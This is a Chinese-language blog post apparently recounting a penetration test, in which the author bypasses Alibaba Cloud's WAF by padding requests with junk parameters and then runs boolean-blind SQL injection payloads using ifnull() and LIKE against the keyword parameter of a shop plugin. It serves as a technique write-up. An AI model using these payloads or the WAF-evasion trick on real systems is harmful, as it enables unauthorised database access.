当前位置 博文首页 > fox-yu:【奇淫巧技】Bypass阿里云注入

    fox-yu:【奇淫巧技】Bypass阿里云注入

    作者:fox-yu 时间:2021-02-06 12:25

    序言

    我:摸鱼一时爽,一直摸鱼一时爽啊:relieved:
    大佬:还摸鱼,快来搞个注入。
    我:。。。

    拿到数据包

    GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1
    Host: www.xxx.com
    Connection: close
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
    content-type: application/x-www-form-urlencoded

    这不是已经payload都有了么,有啥问题么,burp走起

     

     好吧,原来是阿里云waf,开搞,大佬说要出数据证明注入。

    0x01 判断数据库

    既然注入点已经有了,先看看是啥数据库呗,结果尝试好多函数全都GG,user()、user、length()、len()、if全被拦,一拦一个准。。
    既然常规函数不得行,那随便搞个函数看看:
    payload:

    550.0and+(1()+like+'1')

     

     诶嘿,报错了,MySQL数据库。
    知道是啥数据库,那就好办了。

    0x02 绕waf

    既然是MySQL数据库,那就可以开始构造条件判断了,可是把笔记里的payload一顿梭,全都被waf拦了,居然没一个能用的,只能找找看有没有什么骚姿势了,于是,,,
    有啥不懂问度娘:

    https://cloud.tencent.com/developer/article/1592593

     

     这篇文章提到可以用垃圾数据进行混淆,测试一下,我们这个站POST提交也可以,于是开搞。
    打开sublime,复制粘贴运行,200个垃圾数据键值对就出来了,复制到burp,wtf?还是被拦了。
    难道是键值对太少了?继续,忘了复制粘贴多少次了,后面测试的时候length()居然可以了。(前面一直被拦)
    payload:

    550.0 and+(length(1)+like+'1')

     

     说明垃圾数据生效了,继续

    0x03 更换参数

    既然waf也绕过了,也就继续构造条件判断语句。可是。。。
    后面发现不管语句判断正确与否,只要语法是正确的,返回结果都是一样的。
    于是查看原先的参数,发现keyword参数才是查询的字段,会影响查询返回内容。

    keyword=a

     

     

    keyword=b

     

     于是对keyword参数进行注入。
    payload:

    keyword=a'

    返回内容中得到SQL语句:

    %' and gc.begin_time 1603364903 and g.total > 0

    也就是注入点是在like查询中。

     

     payload:

    a%25'or+length(1)=' 返回所有
    a%25'and+length(1)=' 返回空

    0x04 条件判断

    找到可构造的点,开始构造条件判断
    这里重新试了其他函数:if、case、user()、current_user也不行,还是会被拦,搞不懂。:weary:
    payload:

    a%25'or+ifnull(user()%20like'n%25',1)='%

     

     后面发现ifnull不会被拦。

    a%25'or+ifnull('ra'like'r%25',1)='% true
    a%25'or+ifnull('1ra'like'r%25',1)='% false

    根据返回内容长度判断条件查询成功。
    条件ture的时候返回长度为:4027
    条件false的时候返回长度为:3886
    继续fuzz:然后在删掉括号时发现报错为字段错误
    payload:

    a%25'or+ifnull(user%20like'n%25',1)='%

     

     看到这个,想起cha牛说的可以用数据库中原本的数据来判断SQL注入,于是对字段进行爆破:
    (参数字典可以用自己的也可以搜集这个站的参数进行爆破)

     

     这里第一个price尝试的时候啥都没变化,于是换了第二个参数type

     

     

    这里爆破的时候发现返回数据长度跟在repeat的时候不一样,经常在repeat模块验证,得到type的第一个字母为n,于是先判断type的长度为多少。
    直接手工测试,因为爆破出来的结果很奇怪无法判断。(玄学)

    payload:

    a%25'or+ifnull/**/(length(type)=6,1)='%

    还好长度不长,只试到6就出来了。
    接着继续爆破type的后5位(纯手工。。。)
    得到最终结果:tyep=normal

    最终payload:

    a%25'or+ifnull(type='normal',1)='%

     

     

    到这里就成功绕过阿里云waf,利用数据库原有的数据证明该注入存在且可利用了。

    尾声

    我:完事,来一支事后烟。
    我:忘了我不抽烟了。
    我:继续摸鱼

     

    笨鸟先飞早入林,笨人勤学早成材。
    
    转载请注明出处:
    撰写人:fox-yu  http://www.cnblogs.com/fox-yu/
    bk